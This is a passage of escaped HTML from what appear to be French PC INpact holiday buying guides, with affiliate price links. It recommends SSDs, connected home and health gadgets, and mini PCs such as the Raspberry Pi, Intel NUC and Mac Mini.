+&lt;p&gt;Des performances qui ne le place pas en t&amp;ecirc;te du podium, mais elles seront de toute fa&amp;ccedil;on largement sup&amp;eacute;rieures &amp;agrave; celles d'un disque dur traditionnel.&amp;nbsp;Le 335 Series &amp;eacute;tant parfois difficile &amp;agrave; trouver, une alternative peut &amp;ecirc;tre de se tourner vers l'Ultra Plus de 256 Go de Sandisk ou bien vers le&amp;nbsp;M500 de 240 Go de Crucial qui est disponible pour &lt;a href="http://www.prixdunet.com/disque-dur/crucial-ct240m500ssd1-m500-240go-ssd-sata-iii-782856.html" target="_blank"&gt;un peu moins de 140 &amp;euro;&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;[PDN]768950[/PDN]&lt;/p&gt;
+&lt;h3&gt;Samsung 840 Pro pour la capacit&amp;eacute; et les performances&lt;/h3&gt;
+&lt;p&gt;Continuons avec un Samsung 840 Pro de 250 Go qui propose des d&amp;eacute;bits d'un autre ordre. En effet, il est question de 540 Mo/s en lecture de et 520 Mo/s en &amp;eacute;criture avec pas moins de 100 000 IOPS. Des performances de premier ordre pour un SSD qui ne devrait pas vous d&amp;eacute;cevoir.&lt;/p&gt;
+&lt;p&gt;[PDN]753745[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Contrairement au mod&amp;egrave;le pr&amp;eacute;c&amp;eacute;dent de chez Intel, le contr&amp;ocirc;leur maison ne compresse pas les donn&amp;eacute;es &amp;agrave; la vol&amp;eacute;e, les d&amp;eacute;bits sont donc les m&amp;ecirc;me sur tous les types de fichiers.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Un SSD de presque 1 To pour un tarif abordable, c'est possible&lt;/h3&gt;
+&lt;p&gt;Terminons avec un SSD de tr&amp;egrave;s grosse capacit&amp;eacute; : le Crucial M500 de 960 Go qui est propos&amp;eacute; pour un peu plus de 0,50 euro par Go seulement. Malgr&amp;eacute; son imposant stockage (pour un SSD), les d&amp;eacute;bits restent &amp;eacute;lev&amp;eacute;s : 500 Mo/s en lecture et 400 Mo/s en &amp;eacute;criture.&lt;/p&gt;
+&lt;p&gt;[PDN]782860[/PDN]&lt;/p&gt;&lt;p&gt;L'internet des objets. Un terme un rien marketing permettant de distinguer une v&amp;eacute;ritable tendance de fond : de plus en plus de produits se veulent connect&amp;eacute;s afin de nous faciliter la vie, ou plus simplement pour offrir des fonctionnalit&amp;eacute;s suppl&amp;eacute;mentaires. Cela va de ces bracelets qui font office de podom&amp;egrave;tre et / ou de cardio-fr&amp;eacute;quencem&amp;egrave;tre &amp;agrave; des produits qui vous permettent de prendre soin de votre enfant tout en profitant des nouvelles technologies.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141402.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141402.png" alt="Google Glass" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;span style="font-size: smaller; font-weight: bold;"&gt;Les Google Glass, l'objet connect&amp;eacute; par d&amp;eacute;finition, mais pas encore disponible pour tous&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Mais bien entendu, ce n'est pas tout puisque de la balance &amp;agrave; l'ampoule en passant par les bracelets, tout peut d&amp;eacute;sormais &amp;ecirc;tre reli&amp;eacute; &amp;agrave; votre smartphone et / ou &amp;agrave; internet. Certains imaginent m&amp;ecirc;me que c'est le futur de nos lunettes.&lt;/p&gt;
+&lt;h3&gt;Jawbone UP : un bracelet qui vous indique ce que vous avez fait dans la journ&amp;eacute;e&lt;/h3&gt;
+&lt;p&gt;Dans le petit monde des objets connect&amp;eacute;s, le bracelet commence &amp;agrave; se faire sa petite place. Il faut dire que le principe de fonctionnement est des plus simples : vous le mettez &amp;agrave; votre poignet et... c'est tout. Il observe ensuite votre vie : sommeil, activit&amp;eacute;, et peut m&amp;ecirc;me contenir des informations sur vos repas. Le but &amp;eacute;tant de vous donner un condens&amp;eacute; de ces informations ainsi que quelques conseils afin d'am&amp;eacute;liorer votre sant&amp;eacute; et d'en savoir plus sur vos habitudes et votre sommeil par exemple.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141327.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141327.png" alt="Jawbone UP" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Bien &amp;eacute;videmment, il fonctionne de pair avec une application pour smartphone (Android et iOS). Notez que plusieurs tailles sont disponibles, pensez donc &amp;agrave; bien choisir votre bracelet en fonction de votre poignet ou de celui de la personne &amp;agrave; qui il est destin&amp;eacute;.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Bracelet Jawbone UP : &lt;a href="http://pdn.im/180OCG0" target="_blank"&gt;129,90 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Withings se met au service des parents &amp;laquo; Geek &amp;raquo;&lt;/h3&gt;
+&lt;p&gt;Les parents de jeunes enfants un peu &amp;laquo; Geeks &amp;raquo;&amp;nbsp;sur les bords pourront se laisser tenter par le p&amp;egrave;se-enfant intelligent de chez Withings, une marque fran&amp;ccedil;aise tr&amp;egrave;s active sur ce terrain. Via l'application Baby Companion (iOS uniquement) vous pouvez suivre l'&amp;eacute;volution de votre nourrisson et m&amp;ecirc;me plus. En effet, le r&amp;eacute;ceptacle du dessus peut s'enlever afin d'accueillir des enfants de moins de 25 kg, de quoi laisser un peu de marge. Notez aussi que le tout est pr&amp;eacute;vu pour des jumeaux.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141395.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-141395.png" alt="undefined" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141396.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-141396.png" alt="undefined" height="183" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Vous pourrez &amp;eacute;galement craquer pour le Smart baby monitor de la marque, qui permet de surveiller votre b&amp;eacute;b&amp;eacute; pendant son sommeil. Bien &amp;eacute;videmment, vous avez acc&amp;egrave;s au son et &amp;agrave; la vid&amp;eacute;o directement via votre terminal mobile, mode nocturne compris.&amp;nbsp;Il vous sera possible de changer la couleur d'une LED pr&amp;eacute;sente, ou de jouer des morceaux de musique de votre choix ou m&amp;ecirc;me de parler &amp;agrave; votre enfant. Un capteur de temp&amp;eacute;rature et d'hygrom&amp;eacute;trie est aussi int&amp;eacute;gr&amp;eacute;. Il peut se connecter via Bluetooth, Wi-Fi ou bien avec un c&amp;acirc;ble r&amp;eacute;seau si vous souhaitez limiter au maximum les ondes dans la pi&amp;egrave;ce de b&amp;eacute;b&amp;eacute;.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Withings P&amp;egrave;se-enfant intelligent : &lt;a href="http://pdn.im/184Xf2a" target="_blank"&gt;152,05 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Withings Smart Baby Monitor : &lt;a href="http://pdn.im/184X4UI" target="_blank"&gt;225,21 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;Notez que la marque propose actuellement des offres de No&amp;euml;l &lt;a href="http://www.withings.com/fr/christmas" target="_blank"&gt;sous forme de packs&lt;/a&gt;.&lt;/p&gt;
+&lt;h3&gt;Withings Smart Body : les adultes peuvent aussi &amp;laquo; jouer &amp;raquo;&amp;nbsp;avec leur balance&lt;/h3&gt;
+&lt;p&gt;Withings ne s'int&amp;eacute;resse pas qu'aux plus jeunes et les grands ne sont pas oubli&amp;eacute;s. Ils disposent m&amp;ecirc;me de leur propre balance connect&amp;eacute;e : le Smart Body Analyser. S'il vous indique &amp;eacute;videmment votre poids, il ne s'arr&amp;ecirc;te pas en si bon chemin et vous propose &amp;eacute;galement une indication de votre composition corporelle ainsi que votre rythme cardiaque.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&amp;nbsp;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141401.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141401.png" alt="undefined" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Elle peut &amp;eacute;galement vous rendre d'autres services en mesurant la qualit&amp;eacute; de l'air int&amp;eacute;rieur. Bien &amp;eacute;videmment, vous pouvez suivre vos &amp;eacute;volution sur des graphiques depuis votre terminal mobile sous Android ou iOS et l'exploiter avec des tas d'outils tiers comme &lt;a href="https://ifttt.com/channels" target="_blank"&gt;IFTTT&lt;/a&gt; ou le bracelet Jawbone Up par exemple (voir plus haut)... elle ne permet par contre pas de perdre du poids, pour cela pas de secret : passage par la case sport.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Withings Smart Body Analyser : &lt;a href="http://pdn.im/17VRbhD" target="_blank"&gt;149,89 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;Notez que la marque propose actuellement des offres de No&amp;euml;l&amp;nbsp;&lt;a href="http://www.withings.com/fr/christmas" target="_blank"&gt;sous forme de packs&lt;/a&gt;.&lt;/p&gt;
+&lt;h3&gt;Netatmo : une station m&amp;eacute;t&amp;eacute;o compl&amp;egrave;te, qui n'a rien &amp;agrave; voir avec A.T.M.O.S&lt;/h3&gt;
+&lt;p&gt;&amp;Ecirc;tre bien install&amp;eacute; chez soi est une chose, mais surveiller la qualit&amp;eacute; de l'air en est une autre et il est parfois bien difficile de savoir exactement ce qu'il en est. Netatmo s'est pench&amp;eacute; sur ce probl&amp;egrave;me afin de proposer un produit simple et accessible. Il s'agit d'une station m&amp;eacute;t&amp;eacute;o connect&amp;eacute;e dot&amp;eacute;e de deux capteurs : un ext&amp;eacute;rieur et un int&amp;eacute;rieur.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141397.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141397.png" alt="Netatmos" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Elle vous donne la temp&amp;eacute;rature, la qualit&amp;eacute; de l'air (saturation en CO2), l'hygrom&amp;eacute;trie, la pression atmosph&amp;eacute;rique ainsi que le niveau de bruit directement sur votre smartphone ou tablette Android / iOS. Des courbes p&amp;eacute;riodiques sont de la partie ainsi que des alertes si certains seuils venaient &amp;agrave; &amp;ecirc;tre d&amp;eacute;pass&amp;eacute;s.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Station m&amp;eacute;t&amp;eacute;o Netatmo : &lt;a href="http://pdn.im/184YCxM" target="_blank"&gt;149,90 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Belkin Wemo : des prises connect&amp;eacute;s g&amp;eacute;rables &amp;agrave; distance en Wi-Fi, mais pas que&lt;/h3&gt;
+&lt;p&gt;La s&amp;eacute;rie Wemo de Belkin regorge de tr&amp;eacute;sors pour les amateurs de domotique en herbe qui ne souhaitent pas r&amp;eacute;aliser de travaux &amp;agrave; leur domicile, que ce soit par manque de temps, de savoir-faire, ou bien tout simplement parce que vous &amp;ecirc;tes en location. Le produit de base &amp;eacute;tant la prise qui peut &amp;ecirc;tre allum&amp;eacute;e ou &amp;eacute;teinte &amp;agrave; distance, mais cela peut aller plus loin.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141398.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-141398.jpeg" alt="Belkin Wemo" /&gt;&lt;/a&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141399.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-141399.jpeg" alt="Belkin Wemo" height="289" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il est par exemple possible d'y ajouter un interrupteur Wi-Fi ainsi qu'un d&amp;eacute;tecteur de mouvement afin d'automatiser certaines actions. Bien &amp;eacute;videmment, vous pouvez installer plusieurs prises command&amp;eacute;es et leur donner des noms afin de les identifier facilement sur votre terminal mobile. Le tout peut &amp;ecirc;tre g&amp;eacute;r&amp;eacute; par de nombreux services ext&amp;eacute;rieurs, &lt;a href="https://ifttt.com/channels" target="_blank"&gt;notamment IFTTT&lt;/a&gt;.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Belkin Wemo prise command&amp;eacute;e : &lt;a href="http://pdn.im/184ZSRH" target="_blank"&gt;49,99 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Belkin Wemo prise command&amp;eacute;e plus d&amp;eacute;tecteur de mouvements : &lt;a href="http://pdn.im/184ZZg0" target="_blank"&gt;72,49 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Ampoules connect&amp;eacute;es&amp;nbsp;Philips Hue... attention au tarif : 199,95 euros le kit de d&amp;eacute;part&lt;/h3&gt;
+&lt;p&gt;Philips propose depuis quelque temps d&amp;eacute;j&amp;agrave; des ampoules connect&amp;eacute;es via sa gamme Hue. Elles sont pilotables depuis un smartphone et vous permettent de cr&amp;eacute;er diff&amp;eacute;rentes ambiances via un large &amp;eacute;ventail de couleurs.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/141400.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-141400.png" alt="Philips Hue" width="500" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Le ticket d'entr&amp;eacute;e est par contre relativement &amp;eacute;lev&amp;eacute; puisqu'il est question de 199,95 euros pour le kit de d&amp;eacute;marrage avec le &amp;laquo; pont &amp;raquo;&amp;nbsp;sans fil ainsi que trois ampoules. Il vous en co&amp;ucirc;tera ensuite 59,95 euros par Hue suppl&amp;eacute;mentaire, l'addition peut donc rapidement grimper si vous souhaitez &amp;eacute;quiper votre maison. Mais parfois, la passion n'a pas de prix.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Philips Hue, le kit de d&amp;eacute;marrage avec trois ampoules : &lt;a href="http://pdn.im/1bl9hVk" target="_blank"&gt;199,95 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Philips Hue, l'ampoule suppl&amp;eacute;mentaire :&lt;a href="http://pdn.im/1bl9lEk" target="_blank"&gt; 59,95 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;&lt;p&gt;Si le march&amp;eacute; des Mini PC n'a rien de nouveau, l'&amp;eacute;mergence de produits toujours plus compacts tout en &amp;eacute;tant &amp;eacute;conomes et performants permet enfin de s'y int&amp;eacute;resser de pr&amp;egrave;s, quel que soit votre objectif. De la petite machine de bureau &amp;agrave; celle destin&amp;eacute;e aux jeux, il est possible de trouver assez facilement chaussure &amp;agrave; votre pied.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que l'arriv&amp;eacute;e prochaine de &lt;a href="http://www.pcinpact.com/recherche?_search=Steam+OS" target="_blank"&gt;Steam OS&lt;/a&gt; et des fameuses &lt;a href="http://www.pcinpact.com/news/82578-valve-annonce-steam-machines-mais-nen-montre-rien.htm" target="_blank"&gt;Steam Machines&lt;/a&gt; n'y est pas pour rien. On devrait ainsi voir de nombreux acteurs red&amp;eacute;couvrir leur int&amp;eacute;r&amp;ecirc;t pour les produits ultra-compacts. Malheureusement, pas de Tiki en France, mais NVIDIA a commenc&amp;eacute; &amp;agrave; certifier des produits sp&amp;eacute;cifiques sous sa marque, comme &lt;a href="http://pdn.im/HXp8SW" target="_blank"&gt;cette gamme de chez LDLC&lt;/a&gt; par exemple. Le revendeur propose aussi &lt;a href="http://pdn.im/1ex96Lp" target="_blank"&gt;une s&amp;eacute;rie compl&amp;egrave;te de machines&lt;/a&gt; sous sa marque, &lt;a href="http://pdn.im/1ex9ucxhttp://pdn.im/1exeJJn" target="_blank"&gt;comme le fait aussi Materiel.net&lt;/a&gt; par exemple. Un premier pas dans le bon sens ?&lt;/p&gt;
+&lt;h3&gt;Un PC &amp;agrave; monter vous-m&amp;ecirc;me ? Chosissez bien vos composants&lt;/h3&gt;
+&lt;p&gt;Petite pr&amp;eacute;cision tout d'abord pour ceux qui voudraient monter eux-m&amp;ecirc;mes leur machine : attention &amp;agrave; bien choisir votre bo&amp;icirc;tier en fonction des dimensions de votre carte m&amp;egrave;re (Mini ITX ou Micro ATX), mais aussi de la carte graphique. Certaines peuvent atteindre les 28 cm, ce qui ne rentrera que dans des bo&amp;icirc;tiers sp&amp;eacute;cifiques comme l'Elite 130 de Cooler Master par exemple :&lt;/p&gt;
+&lt;p&gt;[PDN]815192[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Sachez qu'il existe aussi des alimentations dans un format plus compact que d'accoutum&amp;eacute;e : le SFX. Il existe des mod&amp;egrave;les allant jusqu'&amp;agrave; 450 watts, avec des certifications 80Plus et m&amp;ecirc;me des produits modulaires. Le meilleur exemple est sans doute &lt;a href="http://pdn.im/IbknWN" target="_blank"&gt;la ST45SF-G de SilverStone&lt;/a&gt;&amp;nbsp;:&lt;/p&gt;
+&lt;p&gt;[PDN]762904[/PDN]&lt;/p&gt;
+&lt;h3&gt;Le Raspberry PI : pour ceux qui aiment bidouiller&lt;/h3&gt;
+&lt;p&gt;Tous ceux qui cherchent une machine ultra-compacte et adorent passer des heures &amp;agrave; bidouiller dans une console sous Linux ont d&amp;eacute;j&amp;agrave; entendu parler du RaspBerry Pi. Pour 30 &amp;agrave; 40 euros, vous pouvez disposer d'une carte m&amp;egrave;re de base qui ne n&amp;eacute;cessite que d'une carte m&amp;eacute;moire pour fonctionner.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/141419.jpeg" alt="Raspberry PI" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ensuite, vous pouvez choisir un bo&amp;icirc;tier (ou pas), un module pour une cam&amp;eacute;ra, et tout un tas d'accessoire en tous genre. Les possibilit&amp;eacute;s ne d&amp;eacute;pendent que de votre volont&amp;eacute; et si certains y trouvent leur bonheur pour ce qui est des &amp;eacute;mulateurs de vieilles consoles, d'autres s'en servent comme lecteur de salon alors que d'autres misent sur &lt;a href="http://forum.pcinpact.com/topic/165594-raspberry-pi-fabriquons-des-trucs/" target="_blank"&gt;des projets encore plus fous&lt;/a&gt;.&amp;nbsp;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver le Raspberry PI chez &lt;a href="http://pdn.im/1exaEVH" target="_blank"&gt;Farnell Element14&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouver le Raspberry PI chez &lt;a href="http://pdn.im/1exaLQW" target="_blank"&gt;Amazon&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouver le Raspberry PI chez &lt;a href="http://pdn.im/1ex9Wrt" target="_blank"&gt;Materiel.net&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Le DS61 de Shuttle : un OVNI qui peut avoir ses adeptes&lt;/h3&gt;
+&lt;p&gt;Si vous cherchez une machine qui allie silence et caract&amp;eacute;ristiques int&amp;eacute;ressants pour des usages assez sp&amp;eacute;cifiques, le DS61 v1.1 de Shuttle pourrait vous combler de bonheur. En effet, ce barebone est plut&amp;ocirc;t compact, dispose de deux ports r&amp;eacute;seau Gigabit avec la fonction&amp;nbsp;&lt;em&gt;Teaming&lt;/em&gt;, de ports USB 3.0. Cette machine est plut&amp;ocirc;t silencieuse, simple &amp;agrave; monter, supporte aussi bien les p&amp;eacute;riph&amp;eacute;riques de stockage de 2,5 pouces que les SSD mSATA, peut int&amp;eacute;grer du Wi-Fi, etc. De plus, elle est vendue &amp;agrave; moins de 200 euros.&lt;/p&gt;
+&lt;p&gt;[PDN]784638[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ceux qui veulent un produit un peu plus classique peuvent se tourner vers son petit cousin :&amp;nbsp;&lt;a href="http://www.prixdunet.com/ordinateur-de-bureau/shuttle-xh61v-747691.html" target="_blank"&gt;le XH61V&lt;/a&gt;. Il sera par contre un peu plus gros, supportera un lecteur optique slim, affichera une connectique moins fournie, le tout pour quelques euros de moins seulement.&lt;/p&gt;
+&lt;h3&gt;Zotac Nano XS AD13 Plus : un APU AMD pour une solution compl&amp;egrave;te et accessible&lt;/h3&gt;
+&lt;p&gt;Un peu plus cher, mais complet cette fois, le Mini PC ZBox Nano XS AD13 Plus de Zotac peut &amp;ecirc;tre une bonne solution si vos besoins ne sont pas trop importants (multim&amp;eacute;dia, web, etc.) et votre budget limit&amp;eacute;. En effet, pour &lt;a href="http://pdn.im/1exdjP2" target="_blank"&gt;un peu moins de 330 euros tout compris&lt;/a&gt;, celui-ci embarque un APU AMD E2-1800, 2 Go de DDR3, un SSD de 64 Go, du Wi-Fi 802.11n et affiche des dimensions de 106 x 106 x 32 mm.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/127370.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-127370.png" alt="Zbox Nano XS AD13" /&gt;&lt;/a&gt; &lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/127371.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/mini-127371.png" alt="Zbox Nano XS AD13" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Outre son tarif plut&amp;ocirc;t raisonnable, c'est sa connectique qui pourra en int&amp;eacute;resser plus d'un : deux USB 2.0, deux USB 3.0, un combo eSATA / USB, un lecteur de cartes, du r&amp;eacute;seau Gigabit, un HDMI. Bref, rajoutez &amp;agrave; &amp;ccedil;a le kit VESA, la t&amp;eacute;l&amp;eacute;commande, l'antenne et l'adaptateur S/PDIF fournit, la garantie 5 ans propos&amp;eacute;e depuis peu par le constructeur, et vous obtenez une machine qui est l'un des meilleurs compromis du moment.&amp;nbsp;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver le Zbox Nano XS AD13 Plus chez &lt;a href="http://pdn.im/1exdjP2" target="_blank"&gt;LDLC&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Le NUC : la r&amp;eacute;f&amp;eacute;rence &amp;laquo; Performance &amp;raquo;&amp;nbsp;du moment, sauf si vous voulez jouer&lt;/h3&gt;
+&lt;p&gt;Si vous cherchez une autre machine qui joue dans le m&amp;ecirc;me type de format, qui est l'un des plus compacts du moment, mais qui mise plut&amp;ocirc;t sur la performance, tournez-vous vers&lt;a href="http://pdn.im/1ex7uRA" target="_blank"&gt;&amp;nbsp;l'une de celles de la gamme NUC d'Intel&lt;/a&gt;. On se retrouve en effet des mod&amp;egrave;les de 112 x 112 m pour une &amp;eacute;paisseur de moins de 40 mm, avec un processeur int&amp;eacute;gr&amp;eacute;, mais qui sont en g&amp;eacute;n&amp;eacute;ral vendus sous la forme d'un barebone &amp;agrave; compl&amp;eacute;ter soit m&amp;ecirc;me.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Apr&amp;egrave;s une premi&amp;egrave;re s&amp;eacute;rie un peu contest&amp;eacute;e sur son syst&amp;egrave;me de refroidissement, le g&amp;eacute;ant de Santa Clara vient de mettre deux nouvelles r&amp;eacute;f&amp;eacute;rences qui sont pour le moment parmi les rares &amp;agrave; utiliser les processeurs Core de quatri&amp;egrave;me g&amp;eacute;n&amp;eacute;ration : Haswell (voir &lt;a href="http://www.pcinpact.com/dossier/680-intel-core-de-quatrieme-generation-tout-savoir-dhaswell/1.htm?_id=680" target="_blank"&gt;notre dossier&lt;/a&gt;).&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/140995.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-140995.png" alt="NUC Haswell" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Il en existe deux versions. L'une &lt;a href="http://pdn.im/1ex7Ac9" target="_blank"&gt;&amp;agrave; moins de 300 euros&lt;/a&gt; qui dispose d'un Core i3 4010U et d'une partie graphique HD Graphics 4400. La seconde sera plus v&amp;eacute;loce &amp;agrave; tous les niveaux avec son Core i5 4250U et son HD Graphics 5000, mais il faudra &lt;a href="http://pdn.im/1ex7Esp" target="_blank"&gt;alors compter 100 euros de plus environ&lt;/a&gt;.&amp;nbsp;Dans les deux cas, la connectique sera identique et assez compl&amp;egrave;te (voir la photo ci-dessus). Pour autant, ne comptez pas sur une telle machine pour jouer &amp;agrave; des jeux un tant soit peu r&amp;eacute;cents.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]819037[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Notez que pour ceux qui aiment la bidouille mais qui veulent rester sur un processeur X86 et un environnement Windows par exemple, vous avez la possibilit&amp;eacute; d'acheter une carte m&amp;egrave;re NUC seule, celle de la pr&amp;eacute;c&amp;eacute;dente g&amp;eacute;n&amp;eacute;ration. Vous pourrez ensuite l'int&amp;eacute;grer dans un bo&amp;icirc;tier de mani&amp;egrave;re totalement passive comme le Newton V d'Akasa &lt;a href="http://pdn.im/1ex87La" target="_blank"&gt;vendu &amp;agrave; moins de 65 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;h3&gt;Mac Mini : une machine compl&amp;egrave;te sous OS X pour moins de 600 euros&lt;/h3&gt;
+&lt;p&gt;Peut-on parler de Mini PC sans &amp;eacute;voquer le cas des Mac Mini d'Apple ? Ces derniers n'ont pas encore &amp;eacute;t&amp;eacute; mis &amp;agrave; jour avec la toute derni&amp;egrave;re g&amp;eacute;n&amp;eacute;ration de CPU Intel, mais ils continuent de constituer une fa&amp;ccedil;on de rentrer dans l'univers d'OS X &amp;agrave; moindre prix. En effet, le mod&amp;egrave;le avec Core i5 &amp;agrave; 2,5 GHz propose 4 Go de m&amp;eacute;moire, 500 Go de disque dur, et une connectique plut&amp;ocirc;t compl&amp;egrave;te &lt;a href="https://publisher.zanox.com/publisherdashboard/zxapp_darwin_startpage/app?publisher=1292929" target="_blank"&gt;pour moins de 600 euros&lt;/a&gt;&amp;nbsp;chez un revendeur comme la Fnac qui offre 5 % de remise &amp;agrave; ses adh&amp;eacute;rents par exemple.&lt;/p&gt;
+&lt;p&gt;[PDN]756431[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&lt;a href="http://store.apple.com/fr/buy-mac/mac-mini" target="_blank"&gt;Dans le Store d'Apple&lt;/a&gt;, vous aurez bien entendu la possibilit&amp;eacute; d'opter pour des configurations plus muscl&amp;eacute;es ou de les adapter &amp;agrave; vos besoins si vous le souhaitez.&amp;nbsp;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver le Mac Mini dans &lt;a href="http://store.apple.com/fr/buy-mac/mac-mini" target="_blank"&gt;l'Apple Store&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Vous &amp;ecirc;tes un joueur ? Materiel.net a peut &amp;ecirc;tre une solution pour vous&lt;/h3&gt;
+&lt;p&gt;Comme nous l'avons d&amp;eacute;j&amp;agrave; &amp;eacute;voqu&amp;eacute;, les revendeurs proposent des machines sous leur marque afin de s&amp;eacute;duire les clients avec des solutions pr&amp;ecirc;ts &amp;agrave; commander. C'est notammement le cas de LDLC par exemple, mais Materiel.net propose un compromis plut&amp;ocirc;t int&amp;eacute;ressant avec &lt;a href="http://pdn.im/1dyvO8L" target="_blank"&gt;sa configuration&amp;nbsp;Geforce Experience Premium&lt;/a&gt;.&lt;/p&gt;
